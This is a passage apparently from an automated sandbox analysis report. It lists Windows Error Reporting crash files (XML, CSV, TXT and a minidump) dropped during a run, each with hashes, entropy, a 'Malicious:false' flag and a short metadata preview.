                                                                                                                                                                                                                                                              SHA-512:D2514E75D52264FB36E63FDC45FB870638A453932B0D9CCACB7255E4474B8079A3FAA6D017DBBB84CFAA9387F86A907AAB1DCDEDF5309A3D6BEEE641C03D3168
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.1.4.0.<./.P.i.

                                                                                                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WER7AF3.tmp.xml

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                              File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):4608
                                                                                                                                                                                                                                                              Entropy (8bit):4.440089765359382
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:48:cvIwWl8zscJg77aI9qNWpW8VYUYm8M4JQa9bFZ++q80qo4fKJXd:uIjfaI7s87VcJQ0GfqpfKJXd
                                                                                                                                                                                                                                                              MD5:0A7D8CCE960B77C3D5BD53BB76A7F67A
                                                                                                                                                                                                                                                              SHA1:185E9C0461D936AD3E5C65F1C916F4638F5380B7
                                                                                                                                                                                                                                                              SHA-256:881BFC4762690EDCD04C8CD0B5E7E0083DB54A8D96F5FCCFA2C1DDAEDAC8E687
                                                                                                                                                                                                                                                              SHA-512:7423AE07F9FA1E4D93EE3363C8BBAA2997F25F5FA92E9996852B0FB95EC38E8B90EE228E3D68C133D0EB5B93E88896FA41A099B53BAC218CA89A7CE8561783B6
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="184940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                                                                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WER7B22.tmp.csv

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):78686
                                                                                                                                                                                                                                                              Entropy (8bit):3.0376030140423347
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:1536:EBilR5T7yVQYM9yy/8DjRcpwlX+j+t+a+j++7+0+Kht+y+P+T+h+09YiwN2:EBilR5T7yVQYM9yy/8DjRc+lX+j+t+ar
                                                                                                                                                                                                                                                              MD5:6CAF793D0ACA99D0D70EFCAD0F346DE7
                                                                                                                                                                                                                                                              SHA1:F8270FEA7C4B7045A6E58190B1FABA274372C328
                                                                                                                                                                                                                                                              SHA-256:88101E2BC3977DADC2DC6F92AD6482353937A4C8FEFD04F3AAB00FAF1AD95452
                                                                                                                                                                                                                                                              SHA-512:B1CF94A0919F06F5D9A3F86BE449E162362D2BD3F6348207313FC6E05168A135363FF3AF2608CBFD57168184E7123C489B8E6566130DA2D3206DBF928BFB806C
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

                                                                                                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WER7C4C.tmp.txt

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):13340
                                                                                                                                                                                                                                                              Entropy (8bit):2.6840342804630235
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:96:TiZYWNVV8UCdY/ZYXWuHiYEZdCtFiw31XFYwwIBeajhdM28YIPd3:2ZDFCdG9XYoajhdM28/Pd3
                                                                                                                                                                                                                                                              MD5:DCE315580B11D21C55E05EEA19EE7AC5
                                                                                                                                                                                                                                                              SHA1:A6B955CA0D4A56BA7C4BDBA6BEA21E93C7FCDC9C
                                                                                                                                                                                                                                                              SHA-256:57D71039C6F08C29805AD966CDD1AE5AF5CEF2FE0D0097D53B4DEBE0561F371E
                                                                                                                                                                                                                                                              SHA-512:82CAB4924C04CC08B0AE8DE5033E7F6075EFA747B3EA6F9D032CEC678F5904A83FD6C9645A898DFE7159DEEE21A1560A0CAC80A3B73C5C7C155CBE0D5DD10333
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

                                                                                                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WERC3F5.tmp.dmp

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                              File Type:Mini DuMP crash report, 14 streams, Thu Feb 8 19:17:20 2024, 0x1205a4 type
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):31982
                                                                                                                                                                                                                                                              Entropy (8bit):2.0306668628339253
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:192:sgUqW0XxNudOIT5we0LGuDnGQoHpygH2U0:p3ITRPyX
                                                                                                                                                                                                                                                              MD5:D8DE6C528C34A90BEBCF8012FD8B23C7
                                                                                                                                                                                                                                                              SHA1:14B62E2B9BEBBBDF3FB01BFD11DA633ADF95684F
                                                                                                                                                                                                                                                              SHA-256:22C7721711FC20012612F4249284092F6F78089CAB2006A78DF32A83B73E3BEC
                                                                                                                                                                                                                                                              SHA-512:4DF03CBCCFAC9BB3EFAAE2EDA66752D9BEF25D1388A1CB63C58FD8B1D6D8C69576E8AF6345A76283B0F1BC2CDCD5C7D0959D3280457FEB9AB7068DF58BC67474
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:MDMP..a..... ........(.e........................t...........................T.......8...........T...........p...~n......................................................................................................eJ..............GenuineIntel............T.......l....(.e............................. ..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WERC5EA.tmp.WERInternalMetadata.xml

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                              File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):8342
                                                                                                                                                                                                                                                              Entropy (8bit):3.7006303342035016
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:192:R6l7wVeJs+D6Fc6YEI8SUAjgmfj6pDU89bJEsfgDm:R6lXJ56u6YEzSUAjgmfjmJ3f5
                                                                                                                                                                                                                                                              MD5:A7E9C4503B01A29EE2AC95C37CCC51F8
                                                                                                                                                                                                                                                              SHA1:73315F66ABFF24304B2A6BBB2D3EF902C0E063C3
                                                                                                                                                                                                                                                              SHA-256:191F8711720B8AC7E7C2655686EFE215E0BFD98AF7FC0E28A71AFFFE69B37817
                                                                                                                                                                                                                                                              SHA-512:7FFEDB5BB96115DEB599A38E91E4B085E98D104E35EA182ABC5FF26E43CD2DC8830A16C63F3CB0A2ED4BC51C8F79C10763E9A37FA3CB776A7FFAA011EE18D8A8
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.2.0.4.<./.P.i.

                                                                                                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WERC639.tmp.xml

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                              File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):4599
                                                                                                                                                                                                                                                              Entropy (8bit):4.482236056767564
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:48:cvIwWl8zscJg77aI9qNWpW8VYOYm8M4JuoOqFd+q8ATOhwIDjtydd:uIjfaI7s87V+J/xrwwIDjtydd
                                                                                                                                                                                                                                                              MD5:B6BD92E49947636CF2FEE10A57D623BF
                                                                                                                                                                                                                                                              SHA1:1DD581988C239FD50F69B7AA4E0889869B9595EB
                                                                                                                                                                                                                                                              SHA-256:2859C69670235DBD70F39B114DF3AC619114DFE2AE6AC2A9E2CCA903BD0D2E70
                                                                                                                                                                                                                                                              SHA-512:FF24BFDFDA6B89D13447441970D2DEB705CF5C3F01E3AF639A7BA545A786EBF89916D5BC6FB0101317CBF0185F0770E532074019668C17B88C9F1755B3C3B00B
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="184940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                                                                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WERC647.tmp.csv

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):77302
                                                                                                                                                                                                                                                              Entropy (8bit):3.0419666324030095
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:768:2CIdGSqW4r974DyRRsOGizW23LEp2GW+0oh14NpJc3Zcr5mF+u+q:2bdGnJ74D8GAWTRW+0oMpJc3LF+u+q
                                                                                                                                                                                                                                                              MD5:E4F4CBCEC05806676DB50CFB82C7A3C3
                                                                                                                                                                                                                                                              SHA1:F55E50CFC87C4AC40592BF310C4228645044D8B9
                                                                                                                                                                                                                                                              SHA-256:F9A32458A58B2182423D8375426B11C91C2175B36C9265F143F565B2C0F76367
                                                                                                                                                                                                                                                              SHA-512:7FC32405049F8B629AA6276D71EF7471802E8DA26214E25059E6B4238CD1ABFEEDF71C194B869A452C534955F673DD22781B16ADF2455110617F66F6ED669E42
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

                                                                                                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WERC723.tmp.txt

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):13340
                                                                                                                                                                                                                                                              Entropy (8bit):2.6831442424695884
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:96:TiZYWo01q9YbYhWfH/YEZ0GtFis3iXWowM2va2hWMyj6Icd3:2ZDg8K8k4a2hWMyjtcd3
                                                                                                                                                                                                                                                              MD5:CA7897380EA0AA07AEEB914B83557437
                                                                                                                                                                                                                                                              SHA1:9A72D33CB966783E6C2551D8589D41E96A267109
                                                                                                                                                                                                                                                              SHA-256:2D1F88DB483B368AD395254B72779BE12EC9D29F98513A2DB8AEC66962AE9A50
                                                                                                                                                                                                                                                              SHA-512:C667B96F2A96FF1D012EDA9BA85DFD2EAA23FBEDB08E09451E531462106E41C0C2EEF6B3DF9B3B015BBF200CA826FDF35A1BCC198743AEBECCE0F6112CF93C79
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

                                                                                                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WERF7D6.tmp.csv

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):80416
                                                                                                                                                                                                                                                              Entropy (8bit):3.0356774825195556
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:1536:sTmez+kc8yAsXuxmJqdncOolX+j+t+a+j++7+0+Kht+y+P+T+h+qAZGVE:sTmez+kc8yAsXuxmJqdncHlX+j+t+a+F
                                                                                                                                                                                                                                                              MD5:51E3B2C13F11BA7C2DDB9D72E25CCF17
                                                                                                                                                                                                                                                              SHA1:A0B540E4B7CE99583D934CCE9B79BE8CB69BD793
                                                                                                                                                                                                                                                              SHA-256:43A431CF49D9EF3B418BAADAF6C1C5FA51D6FD7E23CA1777CF665B8844268BC5
                                                                                                                                                                                                                                                              SHA-512:CA45962C7B9037A01BE95D0FC9E9D8C5F4BEB7A10B9A00C66FB692D6F30B6A7CAD153BBE37DC06009DA8C979EC68541D58CC03B17FDD8C762268E36BFAE01974
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

                                                                                                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WERF91F.tmp.txt

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):13340
                                                                                                                                                                                                                                                              Entropy (8bit):2.6854154386535973
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:96:TiZYWwgYUXD5Y6YxWntHbYEZ/vIttFiNETC18wLFfY4MaXhfMKBpImd3:2ZDAu9EGdQhaXhfMKBWmd3
                                                                                                                                                                                                                                                              MD5:8FBF4D6D137AE047B0685760345A27EE
                                                                                                                                                                                                                                                              SHA1:8D7EA0B9AB6BE764CC5C0FDBCABE956052BE7666
                                                                                                                                                                                                                                                              SHA-256:3AFCC71C98B153182FF9FE4C1FD3B6E4FFBAB31399A9F5939A2CA32506932918
                                                                                                                                                                                                                                                              SHA-512:8A6FFF9D454BE92C34F8339FE9F2C262261607A9565C528092D92FD526D07B9F9DD1FE088AACFF545EA291D457CED1C61ADDD7798AB0E59479D78142113C241F
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

                                                                                                                                                                                                                                                              C:\SystemID\PersonalID.txt

